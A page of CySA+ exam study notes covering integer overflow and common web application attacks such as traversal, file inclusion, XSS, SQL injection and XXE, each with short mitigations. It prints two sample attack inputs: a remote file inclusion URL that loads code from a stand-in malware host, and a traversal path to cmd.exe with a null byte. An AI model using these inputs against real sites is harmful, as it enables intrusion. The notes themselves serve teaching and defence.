CySA+
  • CySA+ CS0-002 Exam Objectives
  • Threat Intelligence Cycle
  • Intelligence Sources
  • Security Intelligence Sharing
  • Threat Classification and Threat Actors
  • Threat Research and Indicators of Compromise
  • Attack Frameworks and The Cyber Kill Chain
  • Defining Threat Modeling and Threat Hunting
  • Vulnerability Identification and Validation
  • Vulnerability Scan Results and CVSS Scores
  • Nmap and Enumeration
  • Security Controls
  • Defense in Depth Security Baselines
  • Security Trend Analysis
  • Remediation Issues
  • Asset, Change, and Configuration Management
  • Software Development Lifecycle & Development Models
  • Software Assessment and Code Review
  • Mitigating Attack Types Part 1
  • Mitigating Attack Types Part 2
  • Mitigating Attack Types Part 3
  • Password Cracking and Hashing
  • Privilege Escalation & Man-in-the-Middle
  • Network Based IoCs
  • Host Based IoCs
  • Network Architecture and Segmentation
  • Network Traffic, Packet, and Protocol Analysis
  • Pentesting and Active Defense
  • Firewalls
  • URL Analysis & DNS in Malware
  • Network Access Control and Port Security
  • Identity and Access Management (IAM)
  • Web Application Scanners
  • SSL/TLS Digital Certificate Management
  • Mobile Threats
  • Email Threats and Mitigation
  • Data Loss Prevention (DLP)
  • Endpoint Security and Behavior Analysis
  • Hardware Assurance
  • Blackholes and Sinkholes
  • IoT, Embedded Systems & ICS/SCADA Threats
  • Log Analysis & Continuous Security Monitoring
  • SIEM and Event Correlation
  • Malware Analysis
  • Cloud Models and Service Threats
  • Cloud Automation and Other Cloud Threats
  • VDI, Containers, and Microservices
  • CI/CD, IaC, DevOps
  • AI and Machine Learning
  • Digital Forensics
  • Technical Controls for Securing Data
  • Non-Technical Controls for Securing Data
  • Security Policies and Procedures
  • Continuity Planning and Risk Assessment
  • Incident Response Phases and Communication
Powered by GitBook
On this page

Mitigating Attack Types Part 2

PreviousMitigating Attack Types Part 1NextMitigating Attack Types Part 3

Last updated 2 years ago

  • IntegerOverflow – Add 1 to the max

  • First bit of signed integers determines if it’s positive or negative.

  • Check boundaries and input validate.

  • Web App Vulnerabilities and Attacks

    • Directory Traversal Attacks

      • The “../ attack”

      • Attempt to access other files on the same machine as the web app.

      • Detected by the app or the web app firewall.

    • File Inclusion

      • Upload external files into a website.

      • Remote File Inclusion

      • Page.php?some_input=http://www.malware.com/malware.php

    • Local File Inclusion

      • Webpage.php?font=../../Windows/system32/cmd.exe%00

    • Cross-Site Scripting (XSS)

      • Target a user’s browser to execute arbitrarty code when visiting a specific URL.

      • Reflected vs Stored XSS

      • Mitigation

        • Sanitize input

        • WAF, IDS

        • Update web server and clients

    • SQL Injection

      • Hiding SQL queries in user input

      • Attempts to compromise the database behind a web app

      • Mitigations

        • Prepared statements

        • Sanitize inputs

    • Insecure Object References

      • Exposing resources for unauthorized access

      • Mitigations

        • Proper application design

        • Authentication and authorization

    • XML Attacks

      • Billion laughs attack. Denial of service with a bunch of LOLs.

      • Mitigations: analyze text

    • XML External Entities (XXE)

      • Embed file requests to local resources.

      • Mitigation: Validate and sanitize.